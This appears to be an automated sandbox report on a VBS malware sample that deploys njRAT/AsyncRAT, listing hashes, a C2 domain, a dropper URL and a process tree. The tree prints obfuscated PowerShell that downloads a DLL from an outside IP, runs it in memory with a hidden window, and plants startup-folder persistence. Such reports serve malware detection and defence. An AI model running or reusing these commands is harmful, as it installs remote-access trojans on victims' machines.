Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    15-12-2021 18:00

General

  • Target

    5d536406d735e27d910faf1813d79e0b.vbs

  • Size

    151KB

  • MD5

    5d536406d735e27d910faf1813d79e0b

  • SHA1

    32f7716ddb61131917a90b83eb7fd74ce5eef16a

  • SHA256

    887420d1dcca02056fb9b2aaffacaf87ac76d438fb4e4b9f244cde119db7ebc6

  • SHA512

    1b797c0ada2656242d4017ecc33ce4045eece9a982cd4645e9e369e7d62ceed91e4f00ac14203077c349d8f815ed255d7fbe12742575e94f205bc319a9b365df

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

njss.duckdns.org:57831

Mutex

d51414327d6e

Attributes
  • reg_key

    d51414327d6e

  • splitter

    @!#&^%$

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Drops startup file 5 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5d536406d735e27d910faf1813d79e0b.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\5d536406d735e27d910faf1813d79e0b.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ IIZ.vbs')
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:936
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • Runs ping.exe
        PID:1324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\5d536406d735e27d910faf1813d79e0b.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ IIZ.vbs')
        3⤵
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙HM☙bg☙v☙HQ☙cwBl☙HQ☙Lw☙5☙DQ☙Lg☙5☙DE☙Lg☙x☙DQ☙Mg☙u☙DE☙OQ☙v☙C8☙OgBw☙HQ☙d☙Bo☙Cc☙KQ☙p☙☙==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.sn/tset/94.91.142.19//:ptth'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1608
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
            PID:1268
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            4⤵
              PID:372
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              4⤵
              • Drops startup file
              • Modifies registry class
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3396
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DCR.vbs"
                5⤵
                  PID:712
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DCR.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ TWU.vbs')
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3380
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 10
                      7⤵
                      • Runs ping.exe
                      PID:3700
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DCR.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ TWU.vbs')
                      7⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1016
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙FI☙QwBE☙C8☙d☙Bz☙GU☙d☙☙v☙Dk☙N☙☙u☙Dk☙MQ☙u☙DE☙N☙☙y☙C4☙MQ☙5☙C8☙Lw☙6☙H☙☙d☙B0☙Gg☙Jw☙p☙Ck☙';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3976
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.RCD/tset/94.91.142.19//:ptth'))"
                      7⤵
                      • Blocklisted process makes network request
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1652
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                        8⤵
                          PID:3336
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                          8⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:828
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x1.vbs"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3992
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x1.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ JXQ.vbs')
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2672
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1 -n 10
                        7⤵
                        • Runs ping.exe
                        PID:3680
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x1.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ JXQ.vbs')
                        7⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:728
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙HM☙bg☙v☙HQ☙cwBl☙HQ☙Lw☙5☙DQ☙Lg☙5☙DE☙Lg☙x☙DQ☙Mg☙u☙DE☙OQ☙v☙C8☙OgBw☙HQ☙d☙Bo☙Cc☙KQ☙p☙☙==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1484
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.sn/tset/94.91.142.19//:ptth'))"
                        7⤵
                        • Blocklisted process makes network request
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2856
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                          8⤵
                            PID:1136
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                            8⤵
                              PID:3132
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x2.vbs"
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3932
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x2.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WJK.vbs')
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1800
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 10
                            7⤵
                            • Runs ping.exe
                            PID:3412
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x2.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WJK.vbs')
                            7⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1696
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙DI☙cwBu☙C8☙d☙Bz☙GU☙d☙☙v☙Dk☙N☙☙u☙Dk☙MQ☙u☙DE☙N☙☙y☙C4☙MQ☙5☙C8☙Lw☙6☙H☙☙d☙B0☙Gg☙Jw☙p☙Ck☙';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
                          6⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1212
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.2sn/tset/94.91.142.19//:ptth'))"
                            7⤵
                            • Blocklisted process makes network request
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:984
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                              8⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1412

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                MD5

                c6b0a774fa56e0169ed7bb7b25c114dd

                SHA1

                bcdba7d4ecfff2180510850e585b44691ea81ba5

                SHA256

                b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9

                SHA512

                42295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                MD5

                0f5cbdca905beb13bebdcf43fb0716bd

                SHA1

                9e136131389fde83297267faf6c651d420671b3f

                SHA256

                a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                SHA512

                a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                2d5d62e54e6e9384b1476492e8edd986

                SHA1

                9d0be75e500df70dfddb07db2f81f626ad0edc2e

                SHA256

                ca92b2152825bf9f43011d8aa6398b74a528127f1a01339d89002b119126a2f6

                SHA512

                22933d8b4f3a526510824a222ef77dfae86033dfd82ba534931ce3863fda142e3e705849729954d06a9768475e74dca8fcac945d0b497e78b8eb40ce54cce97b

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                d1b2a8f72d1e29e3fe45735530e842c7

                SHA1

                61c2109817720ad9f86baa4f6c9c6343e890e943

                SHA256

                08e5ef8b54410aeab63bf109856c16bc56e1c1725da2c44fcc2b9e7b41528ddb

                SHA512

                b909a6baf7686fe37f7c6c346e2fdeb5eba46e4e57a56b8d5bbc0ca0e68008684ad8cfc30aebc2c5a48976348d3731fd929e8884e6eb5417cc8b15fbacea02c8

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                78f61af77f3086539ea15d20e6225685

                SHA1

                afe9abf0ec0b67f8ea1a1d50ef9c19b624b2466a

                SHA256

                0555ef98c3a2b302ccbd503deea24b9ef4b885761a35d36c8b00678cff5a0e3c

                SHA512

                c05f4c1da8aa4fb565a19dcd3443977b9e1069e8afbd8743500d29378ae49fb76ee5791587dc6c1c22441a776440ea1969811fadd6ce9b9440f809eb3f6fa636

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                eb4ff2e4c236944232038063c151022e

                SHA1

                4d8cdb4978d65e878a73e6be2a232e1301f1bba7

                SHA256

                e6f7a515a13db9214060aea4d9a2c289e170ebed008a5e19efc12da88223515a

                SHA512

                6636d49950f8f835ea8911e3522628a3464686bc17b645639283de1752476e6313bfa733bbf0c8c6d09f12a5d6c3a611878e3a6597fd232de7c05b0523635a6d

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                52115a05e0a323f27b0f34b6681bcd40

                SHA1

                10b3994975d9f30ed1aa56132d5383c3d58cdea3

                SHA256

                bf41b7ec43ccdb78f2063cdbdbe5b147b560f4f8458a99e0bf55958df46390a5

                SHA512

                fb89d5c00924cccc4d9b5f75e768158a2c01de39e882cc30f4a08a887d6d27fa2323e30ac057624708699d80b7db0d9c4f6bf52231cb8ae4c443579b05f20ad3

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                52115a05e0a323f27b0f34b6681bcd40

                SHA1

                10b3994975d9f30ed1aa56132d5383c3d58cdea3

                SHA256

                bf41b7ec43ccdb78f2063cdbdbe5b147b560f4f8458a99e0bf55958df46390a5

                SHA512

                fb89d5c00924cccc4d9b5f75e768158a2c01de39e882cc30f4a08a887d6d27fa2323e30ac057624708699d80b7db0d9c4f6bf52231cb8ae4c443579b05f20ad3

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                97fe9e12e5c913857636fdf436971275

                SHA1

                bf0f1eb9802f5a1e2b95b8c751f1a0207b5e74a3

                SHA256

                949045cd0c94f72e839cb90b0a3bc227eacfdf81c802ba996d36e8f6b7e84156

                SHA512

                277a184d3be25bffe18aeabfb643e8a9aa6d4c8e0633d93b3704036de582066f60c8b69c96a7a00cceadbd9896909e3988d42888c7a471c3a27aa0859beaf548

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                97fe9e12e5c913857636fdf436971275

                SHA1

                bf0f1eb9802f5a1e2b95b8c751f1a0207b5e74a3

                SHA256

                949045cd0c94f72e839cb90b0a3bc227eacfdf81c802ba996d36e8f6b7e84156

                SHA512

                277a184d3be25bffe18aeabfb643e8a9aa6d4c8e0633d93b3704036de582066f60c8b69c96a7a00cceadbd9896909e3988d42888c7a471c3a27aa0859beaf548

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                5c8c985aec00af6a5e5f7cf0ced7831b

                SHA1

                69bc53d7c7dcfb3557ee88777c4f941e24e5173e

                SHA256

                36042de638c2a30b3cf0cf234eca0a3551318dd12637f7634ac36896bf1d1ee6

                SHA512

                4937e1e77c1d7c5b4091d8801fd6211e422fd48f885b737d69f873650682a98d6ae285e29ee291af5b708933c6078ac872fffb18ffe4faae67ea4305bbba7f0b

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                b9fe747645f446f13de4f82f2b45a57d

                SHA1

                915ebbc92bbed4498c1612d77fb56faa4292fd69

                SHA256

                cdec8ec8e5969d6944b6fe46146f209ce8aa8b7c2bee2a65f28bf3c1b2d563f8

                SHA512

                5384fe713910636f818e109ce42fdaacc5614342cc31439fe79935ae90204d87461a623acb95472f735075f6c470c0eb0bcc31ecfd718a0bfb1d40cfcea4ecbc

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                MD5

                f4878e8eef3ffc20a5d61aaf34943960

                SHA1

                5ebfb95446c3444b175507589066cac3b969494e

                SHA256

                5baf905dc9c2ab08e871cdd664489a4f4d2fb8bb512720305131eb908c3f81e2

                SHA512

                bc86143ad9c385a2a3f6f5f7862a3ac3fdf17391422ec9872c4dc39b26e4c8e088a7eaef7e32391d6d867ed369420a1e1bd4fcd1feab3686ed6bf436947fd694

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ IIZ.vbs

                MD5

                5d536406d735e27d910faf1813d79e0b

                SHA1

                32f7716ddb61131917a90b83eb7fd74ce5eef16a

                SHA256

                887420d1dcca02056fb9b2aaffacaf87ac76d438fb4e4b9f244cde119db7ebc6

                SHA512

                1b797c0ada2656242d4017ecc33ce4045eece9a982cd4645e9e369e7d62ceed91e4f00ac14203077c349d8f815ed255d7fbe12742575e94f205bc319a9b365df

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x1.vbs

                MD5

                a26cc4263433ad4da74611bee68d16fb

                SHA1

